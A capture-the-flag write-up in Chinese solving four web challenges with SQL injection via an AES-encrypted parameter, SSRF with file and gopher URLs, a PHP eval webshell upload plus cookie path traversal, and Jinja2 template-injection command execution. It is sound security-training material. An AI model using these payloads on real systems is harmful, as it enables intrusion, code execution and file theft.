Contents
  1. 1. Code Check
  2. 2. Readflag
  3. 3. MyNote
  4. 4. XmeO

web题难度不大,就是环境比较坑

Code Check

扫描发现/news 目录

1542512268868

进入后下载

list.zip

1542512332854

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-7)!=='hxb2018'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-7);
}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

发现aes加密,然后查询,没有加任何过滤参数

直接在线网站

http://tool.chacuo.net/cryptaes?tdsourcetag=s_pcqq_aiomsg

然后依次注入

发现用户库

1542512445835

注入出账号密码

1542512489959

解密后登陆依然报错。。。

因为之前发现0.php是phpinfo页面

而且报错给出了绝对路径

所以尝试load_file

payload

1
1 and 1=2 union select 1,load_file('/usr/share/nginx/html/login.php'),3,4 from stormgroup_memberhxb2018

aes加密后,访问拖出来源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
header('content-type:text/html;charset=utf-8');
require_once 'config.php';
$name=trim($_POST['name']);
$regex = "/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\"|\'/";
$name = preg_replace($regex,"",$name);
$pwd=trim($_POST['password']);
if (empty($name) or empty($pwd)){
echo '<script>alert("?????????!");window.history.back();</script>';
exit();
}
$md5=md5($pwd);
$sql="select name,password,status from StormGroup_member where name ='$name' AND password='$md5'";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
if (empty($arr)){
echo '<script>alert("???????");window.history.back();</script>';
exit();
}
if ($arr['status']==0){
echo '<script>alert("???????????");window.history.back();</script>';
exit();
}
if ($arr==true){
$sql = "select title from notice2 limit 1";
$i = $link->query($sql);
$a = $i->fetch_assoc();
$res = $a['title'];
?>

发现关键部分

1
2
3
4
5
6
if ($arr==true){
$sql = "select title from notice2 limit 1";
$i = $link->query($sql);
$a = $i->fetch_assoc();
$res = $a['title'];
}

直接查询

1
1 and 1=2 union select 1,title,3,4 from notice2hxb2018

aes加密后访问,getflag

1542512716693

Readflag

使用file协议读取apche配置文件

http://47.107.237.27/?url=file://127.0.0.1//etc/apache2/sites-available/000-default.conf

获得web目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/ssrf/web.php
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

读取web.php 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
if(!isset($_GET['url'])){
echo "ssrf me with parameter 'url'";
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
//echo $_GET['url'];
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);

//var_dump($_POST);
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['user'])){
if($_POST['user']=="admin" && $ip=="127.0.0.1"){
system("/var/www/html/ssrf/readflag");
}
}
?>

根据题目要求应该是绕过REMOTE_ADDR方法

这里存在非预期

http://47.107.237.27/?url=file://127.0.0.1//var/www/html/ssrf/flag

1542522154447

正解 如下利用gopher协议

1
http://47.107.237.27/?url=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST+%2F+HTTP%2F1.1%250d%250aHost%3A+127.0.0.1%250d%250aUser-Agent%3A+curl%2F7.43.0%250d%250aAccept%3A+%2A%2F%2A%250d%250aContent-Length%3A+10%250d%250aContent-Type%3A+application%2Fx-www-form-urlencoded%250d%250a%250d%250auser%3Dadmin

1542548886420

MyNote

文件上传检测 Content-Type当为image/jpeg允许上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php/upload HTTP/1.1
Host: 47.107.239.135
Content-Length: 310
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://47.107.239.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvlIwZw5b6U7jouIA
Referer: http://47.107.239.135/index.php/upload
Accept-Language: zh-CN,zh;q=0.8
Cookie: Picture=YTozOntpOjA7czo3OiJ4eHgucGhwIjtpOjE7czo3OiJ4eHguanBnIjtpOjI7czo4OiJ0ZXN0LmpwZyI7fQ%3D%3D; PHPSESSID=nqa95frrevqbi7c18opi64243j
Connection: close

------WebKitFormBoundaryvlIwZw5b6U7jouIA
Content-Disposition: form-data; name="upfile"; filename="a.php"
Content-Type: image/jpeg

<?php
@eval($_POST[cmd]);
?>
------WebKitFormBoundaryvlIwZw5b6U7jouIA
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryvlIwZw5b6U7jouIA--

上传jpg文件,然后点击

1542537046268

picture

抓包

修改cookie中的Picture参数,这里的flag.php 通过访问 robots.txt获得

1
a:1:{i:0;s:14:"../../flag.php";}

然后进行base64编码和url编码后传入Picture参数中

1
YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30%3D

1542537240129

然后查看图片位置返回的base64结果

1542537307980

base64解密得到flag

1542537346521

刚开始题目放出来的时候有个非预期解,可以文件上传能content-type修改绕过,然后upload目录能非授权访问,md5的目录名就是用户名md5加密后的,当时下手太慢,拖出来了config.php的源码后,就被删了,之后我还以为是条件竞争,尝试了之后,上传php会ban ip。再后来上传功能就被破坏掉了

config.php

1
2
3
4
5
6
7
8
9
<?php 

$config['Database']['servername'] = "localhost";
$config['Database']['dbname'] = "Note";
$config['Database']['username'] = "ctf";
$config['Database']['password'] = "root";

$router = ['index','login','register','note','logout','del','upload','picture'];
$salt = '4ct10n';

XmeO

考察点是ssti,没有任何防护,可以直接eval执行系统命令

难点在于,找flag存放的文件

首先找到web目录

1
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls -r /*/*").read()')}}

1542547899200

发现web目录

1542547874426

然后grep搜索flag字符

1
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("grep hxb2018{ /home/XmeO/*").read()')}}

1542547688396

查看结果,找到flag

1542547726830

Contents
  1. 1. Code Check
  2. 2. Readflag
  3. 3. MyNote
  4. 4. XmeO